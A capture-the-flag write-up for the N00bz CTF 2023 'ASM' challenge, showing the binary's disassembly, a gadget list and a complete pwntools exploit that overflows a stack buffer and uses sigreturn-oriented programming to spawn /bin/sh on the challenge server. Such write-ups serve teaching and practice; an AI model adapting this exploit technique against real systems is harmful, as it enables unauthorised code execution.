ASM [N00bz CTF 2023]
Description of the challenge
What can I say except, “You’re welcome” :)
Author: NoobHacker
Solution
The binary name issrop_me
, so we can assume this is an srop challenge. The binary is so small we can just objdump it. Seems like the source code was written in assembly.
srop_me: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <vuln>:
401000: b8 01 00 00 00 mov eax,0x1
401005: bf 01 00 00 00 mov edi,0x1
40100a: 48 be 00 20 40 00 00 movabs rsi,0x402000
401011: 00 00 00
401014: ba 0f 00 00 00 mov edx,0xf
401019: 0f 05 syscall
40101b: 48 83 ec 20 sub rsp,0x20
40101f: b8 00 00 00 00 mov eax,0x0
401024: bf 00 00 00 00 mov edi,0x0
401029: 48 89 e6 mov rsi,rsp
40102c: ba 00 02 00 00 mov edx,0x200
401031: 0f 05 syscall
401033: 48 83 c4 20 add rsp,0x20
401037: c3 ret
0000000000401038 <_start>:
401038: e8 c3 ff ff ff call 401000 <vuln>
40103d: b8 3c 00 00 00 mov eax,0x3c
401042: bf 00 00 00 00 mov edi,0x0
401047: 0f 05 syscall
401049: c3 ret
Disassembly of section .rodata:
0000000000402000 <msg>:
402000: 48 rex.W
402001: 65 6c gs ins BYTE PTR es:[rdi],dx
402003: 6c ins BYTE PTR es:[rdi],dx
402004: 6f outs dx,DWORD PTR ds:[rsi]
402005: 2c 20 sub al,0x20
402007: 77 6f ja 402078 <binsh+0x69>
402009: 72 6c jb 402077 <binsh+0x68>
40200b: 64 21 21 and DWORD PTR fs:[rcx],esp
40200e: 0a or ch,BYTE PTR [rdi]
000000000040200f <binsh>:
40200f: 2f (bad)
402010: 62 (bad)
402011: 69 .byte 0x69
402012: 6e outs dx,BYTE PTR ds:[rsi]
402013: 2f (bad)
402014: 73 68 jae 40207e <binsh+0x6f>
You can notice the program does a write to stdout with the first syscall in <vuln>
(writes the bytes found at 0x402000
<msg>
) and then reads 0x200 bytes with the second syscall in <vuln>
. It is obvious this is a buffer overflow, so we have control of RIP. The problem here is that we can neither ret2libc (we lack any library to jump to) and we can’t ROP chain either, because the binary is super small. We can use the hint and SROP the binary. The idea is to craft a sigreturn frame on the stack and then call the sys_rt_sigreturn
syscall to call execve
with /bin/sh
as arguments. We look at the ROP gadgets found:
0x000000000040102e : add al, byte ptr [rax] ; add byte ptr [rdi], cl ; add eax, 0x20c48348 ; ret
0x0000000000401028 : add byte ptr [rax - 0x77], cl ; out 0xba, al ; add byte ptr [rdx], al ; add byte ptr [rax], al ; syscall
0x0000000000401010 : add byte ptr [rax], al ; add byte ptr [rax], al ; mov edx, 0xf ; syscall
0x0000000000401043 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x000000000040103f : add byte ptr [rax], al ; add byte ptr [rdi], bh ; syscall
0x0000000000401011 : add byte ptr [rax], al ; add byte ptr [rdx + 0xf], bh ; syscall
0x0000000000401040 : add byte ptr [rax], al ; mov edi, 0 ; syscall
0x0000000000401012 : add byte ptr [rax], al ; mov edx, 0xf ; syscall
0x0000000000401017 : add byte ptr [rax], al ; syscall
0x0000000000401041 : add byte ptr [rdi], bh ; syscall
0x0000000000401030 : add byte ptr [rdi], cl ; add eax, 0x20c48348 ; ret
0x0000000000401013 : add byte ptr [rdx + 0xf], bh ; syscall
0x000000000040102d : add byte ptr [rdx], al ; add byte ptr [rax], al ; syscall
0x0000000000401032 : add eax, 0x20c48348 ; ret
0x0000000000401034 : add esp, 0x20 ; ret
0x0000000000401033 : add rsp, 0x20 ; ret
0x000000000040103e : cmp al, 0 ; add byte ptr [rax], al ; mov edi, 0 ; syscall
0x0000000000401042 : mov edi, 0 ; syscall
0x000000000040102c : mov edx, 0x200 ; syscall
0x0000000000401014 : mov edx, 0xf ; syscall
0x000000000040102a : mov esi, esp ; mov edx, 0x200 ; syscall
0x0000000000401029 : mov rsi, rsp ; mov edx, 0x200 ; syscall
0x000000000040102b : out 0xba, al ; add byte ptr [rdx], al ; add byte ptr [rax], al ; syscall
0x0000000000401037 : ret
0x0000000000401019 : syscall
We have the syscall gadget, but no way of really controlling RAX, to be able to call sys_rt_sigreturn
. However, we can use the previous syscall to control RAX. The return code of a syscall is written to RAX. For example, the read call will change RAX to however many bytes we’ve read. So we could use the read to setup the sigreturn frame on the stack and then return back to the read syscall, to read some more. Then we read exactly 15 bytes, to prepare RAX=0xf
for sys_rt_sigreturn
. Then we return to syscall and execute the frame prepared:
#!/usr/bin/env python3
from pwn import *
context.clear()
context.arch = "amd64"
#target = process("./srop_me")
target = remote("challs.n00bzunit3d.xyz", 38894)
sh_addr = 0x000000000040200f
syscall_gadget = 0x0000000000401019
read_gadget = p64(0x40101b)
frame = SigreturnFrame()
frame.rax = 59 # syscall code for execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0
frame.rip = syscall_gadget
payload = b"a" * 32 + read_gadget + p64(syscall_gadget) + bytes(frame)
target.sendline(payload)
target.sendline(b"a" * 0xe) # read 0xe bytes because it also reads the newline
target.interactive()
Run the exploit:
[+] Starting local process './srop_me': pid 32381
[*] Switching to interactive mode
Hello, world!!
$ whoami
sunbather
Shells achieved.